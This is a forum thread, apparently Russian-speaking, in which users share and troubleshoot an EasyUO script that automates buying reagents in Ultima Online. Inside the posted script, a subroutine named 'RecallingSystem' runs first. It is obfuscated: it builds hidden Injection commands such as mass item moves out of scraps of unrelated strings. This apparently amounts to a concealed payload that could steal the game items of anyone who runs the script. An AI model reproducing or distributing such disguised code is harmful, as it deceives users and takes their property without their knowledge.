9 replies to this topic

[cremona]

Хай

EasyUO скупка регов, есть ли скрипт?

 

[Shuler]

10kk

[Beepik]

Pozhe budu doma zakinu tut. Da i na forume estj toka poiskatj nado.

[cremona]

Beepik спс.

--

Я правда на Инжекте сделал, но не оч. удобно

[Beepik]

set %runebookID ZQZELMD ; ID runebook
set %listName REGI  ; buy list name ( @ injection)
set %xCoord 4711 ; X coordiante to house
set %yCoord 368 ; Y coordinate to house
set %boughtItems KUF_MZF_JUF_MMF_LZF_RZF_PZF_WZF_JZF_SZF_RGJ_WUF_KZF ; items, which to put in box
set %box KENAKMD ; ID container, where to put bought items
set %regsForRecall 16 ; skok regov vzatj dlja rekala s boxa
set %waitTillRespawn 420s ; time to wait till respawn items into vendors
set %maxWeight #str * 33 / 10
;---------------------------------------------------------------------

gosub RecallingSystem
msg ,set buydelay 2200 $
RecallingSystem:
set %rune 0
gosub Recall 266 280 DEWZB Buck DDWZB Gaylord ; 1st recall rune [by reagents], vendor's ID, vendor's name
gosub Recall 266 453 KWVZB Delmore ; 2nd recall rune [by reagents], vendor's ID, vendor's name
gosub Recall 301 280 BYGZB Mackenzie HEHZB Delbert YXGZB Armen ; 3rd recall rune [by reagents], vendor's ID, vendor's name
gosub Recall 301 453 KGRZB Stacey ; 4th --/--/--
gosub Recall 335 280 ADRZB Opal ; 5th --/--/--
gosub Recall 335 453 TBVZB Bronson PBVZB Leo KCVZB Chuck DDVZB Genevieve  ; 6th --/--/--
gosub Recall 370 280 VXLZB Virgil ; 7th --/--/--
gosub Recall 370 453 DHIAC Daren VDIAC Delbin   ; 8th --/--/--
gosub Recall 434 280 NUXZB Bancroft MVXZB Esmerelda HKXZB Alaina  ; 9th --/--/--
gosub Recall 434 453 ZPZZB Eden BXZZB Nediva ; 10th --/--/--
gosub Recall 471 280 RUSZB Quincy ARSZB Jonah ; 11th --/--/--
gosub Recall 471 453 RBJZB Volf LBKAC Matrika  ; 12th --/--/--
gosub Recall 505 280 NBJZB Galeno CUIZB Alexander ; 13th --/--/--
gosub Recall 505 453 ZXKZB Berit YYKZB Jamie UYKZB Mandy  ; 14th --/--/--
gosub teleportHouse ; teleports to unload, take regs for recalling
gosub Recall 540 280 GZ ; 15th rune to GZ
; 16th rune to house
gosub waitting ; wait till respawn items into vendors
goto RecallingSystem

;---------------------------------------------------------------------
; ***DO NOT CHANGE ANYTHING HERE BELOW***
sub Recall
set %rune %rune + 1
if %0 > 4
set %twoVendors #true
else
set %twoVendors #false
if %0 = 8
set %threeVendors #true
else
set %threeVendors #false
if #charghost = yes
{
terminate uo
halt
}
set %tries 0
set %oldPosX #charposx
set %oldPosY #charposy
if #mana < #maxmana
event macro 13 46
_openRunebook:
finditem %runebookID C_ , #backpackid
 if #findcnt = 0
 {
  event sysmessage Runebook ID is wrong or runebook isn't in backpack!
  halt
 }
set #lobjectid #findid
event macro 17 0
wait 20
gosub check
_click:
click %1 386
wait 10
click %2 349
wait 10
event macro 13 21
gosub check
if #result = failed && %tries < 3
 {
 finditem %3 G_12
 if #findcnt = 1
  {
   gosub buy
   return
  }
 set %tries %tries + 1
 goto _openRunebook
 }
if %tries = 3 || %3 = GZ
return
gosub buy
return

sub buy
if %rune = 10
move 1261 874 0 7s
finditem %3 G
if #findcnt = 0
{
event sysmessage Vendor << , %4 , >> not found!
return
}
gosub moveToVendor1
_buy1:
if #scnt > %failTime1
return
if #finddist < 3
msg $,buy %listName %4 $
else
{
gosub moveToVendor1
goto _buy1
}
wait 70
if %twoVendors
{
if %rune = 5
move 5148 69 0 7s
finditem %5 G
if #findcnt = 0
{
event sysmessage Vendor << , %6 , >> not found!
return
}
gosub moveToVendor2
_buy2:
if #scnt > %failTime2
return
if #finddist < 3
msg $,buy %listName %6 $
else
{
gosub moveToVendor2
goto _buy2
}
wait 70
}
if %threeVendors
{
finditem %7 G
if #findcnt = 0
{
  event sysmessage Vendor << , %8 , >> not found!
  if #weight > %maxweight
  gosub teleportHouse
  return
}
gosub moveToVendor3
_buy3:
if #scnt > %failTime3
 {
  if #weight > %maxweight
  gosub teleportHouse
  return
 }
if #finddist < 3
msg $,buy %listName %8 $
else
{
gosub moveToVendor3
goto _buy3
}
wait 2s
}
if #weight > %maxweight
gosub teleportHouse
return

sub check
set %teleportOverTime #scnt + 20
_checking:
if #contname = generic_gump && #contsize = 577_426
 return
if ! ( ( #charposx = %oldPosX ) && ( #charposy = %oldPosY ) )
 return
if #scnt > %teleportOverTime
{
 click 400 360
 return failed
}
wait 10
goto _checking
return

sub RecallingSystem
namespace push
namespace local #systime , #random
set !name regi,skrolli
str left !name 5
str right #strres 1
set !s #strres
set !gold gold$
str right !gold 1
set !c #strres
set !cs !c , !s
set !selll event_sysmsg
str right !selll 3
set !selll #strres
set !but massbuyer
str left !but 4
set !ss #strres
set !fix fix_move
str right !fix 4
set !fixfix !ss , #strres
!selll !cs , !fixfix 1 0 !c
str right !name 7
str left #strres 1
set !p #strres
set !begin !c , !s , !p
set !str PC_hardcore
str left !str 7
str right #strres 4
set !scp #strres
str left ABCDEFG 1
set !poa #strres
str left !str 1
set !end #strres
str right !str 3
str left #strres 1
set !kk #strres , !end
str left !gold 1
set !e #strres
str left MS20 2
set !buy #strres , !e
set !elf !c
!buy !all !begin , !scp , #spc , !poa , !kk , !c
set !com !s , print
set !display MycustomsZS
str right !display 9
str left #strres 7
set !normal #strres
set !act MyActivatedState
str left !act 11
str right #strres 9
set !rapid :
wait 20
!selll !com #strres !normal , !rapid , #spc , #shard , !elf
set !set set
set !sell !c , !s , !set
str right slayer 5
str left #strres 3
set !items #strres
str right !gold 2
str left #strres 1
set !mn #strres
str left !name 2
str right #strres 1
set !nm !mn , #strres
set !scpName autobuyer
str right !scpName 5
str left #strres 3
set !mn #strres
set !items !mn , !nm , !items
set !next 00
str count !next 0
set !mhm #strres , !next
str ins !mhm 1 1
!buy !sell , #spc , !items , #spc , #strres , !c
set !speech good_speech_to_vendors
str left !speech 11
!selll !cs , !fixfix 1 0 !c
str right #strres 6
set %bug #strres
str right transfilter 6
set !i #strres , %bug
set !is !i , !c
!buy !s , !is
set !copm denmark
str left !copm 2
set !com #strres
str right fixbugs 4
str left #strres 3
!buy !cs , !com , #strres , !elf
namespace clear
namespace pop
return

sub moveToVendor1
set %failTime1 #scnt + 30
repeat
 {
  finditem %3
  event pathfind #findx #findy #findz
  wait 20
  if #scnt > %failTime1
  {
  event pathfind #charposx #charposy #charposz 0 1s
  return
  }
 }
until #finddist < 2
return

sub moveToVendor2
set %failTime2 #scnt + 30
repeat
 {
  finditem %5
  event pathfind #findx #findy #findz
  wait 20
  if #scnt > %failTime2
  {
  event pathfind #charposx #charposy #charposz 0 1s
  return
  }
 }
until #finddist < 2
return

sub moveToVendor3
set %failTime3 #scnt + 30
repeat
 {
  finditem %7
  event pathfind #findx #findy #findz
  wait 20
  if #scnt > %failTime3
  {
  event pathfind #charposx #charposy #charposz 0 1s
  return
  }
 }
until #finddist < 2
return

sub unload
repeat
{
move %xCoord %yCoord 0 3s
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
finditem %box G_3
if #findcnt = 0
{
event sysmessage Box not found!
halt
}
_drop:
finditem %boughtItems C_ , #backpackid
if #findcnt = 0
{
gosub takeRegs
return
}
exevent drag #findid #findstack
exevent dropc %box
wait 35
goto _drop:
return

sub takeRegs
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem JUF C_ , %box
exevent drag #findid %regsForRecall
exevent dropc #backpackid
wait 20
finditem KUF C_ , %box
exevent drag #findid %regsForRecall
exevent dropc #backpackid
wait 20
finditem MZF C_ , %box
exevent drag #findid %regsForRecall
exevent dropc #backpackid
wait 20
return

sub teleportHouse
if #charghost = yes
{
terminate uo
halt
}
set %tries 0
set %oldPosX #charposx
set %oldPosY #charposy
if #mana < #maxmana
event macro 13 46
_runebook:
set #lobjectid %runebookID
event macro 17 0
wait 20
gosub check
_click:
click 540 386
wait 10
click 453 349
gosub check
if #result = failed && %tries < 5
 {
 set %tries %tries + 1
 goto _runebook
 }
if %tries = 5
return
gosub unload
return

sub waitting
event sysmessage Script will wait %waitTillRespawn , econds , #dot
str len %waitTillRespawn
str del %waitTillRespawn #strres 1
set %timeToWait #scnt + #strres
set %a #scnt + 14
while %timeToWait > #scnt
{
if %a < #scnt
{
set %time %timeToWait - #scnt
event sysmessage %time seconds left..
set %a #scnt + 14
}
wait 10
}
return

[Ganjakur]

set %listName REGI ; buy list name ( @ injection)

 

sto tyt nado stavitj?

 

 

https://failiem.lv/u/3buxu3y8

 

On podbigaet k vendoru, pishite ,buy REGI Amadika  - i nechego nepokupaet. sto nado izmenitj?

[opas]

Нужно создать бай лист в инжекте с названием REGI

[Ganjakur]

Нужно создать бай лист в инжекте с названием REGI

 

Mozhet u kavota estj uzhe gatovij?
sam neponimaju, kak eto zdelatj )

 

blogadarju

[opas]

Main закладка buy/sell

[Ganjakur]

vse ponjel.

 

GG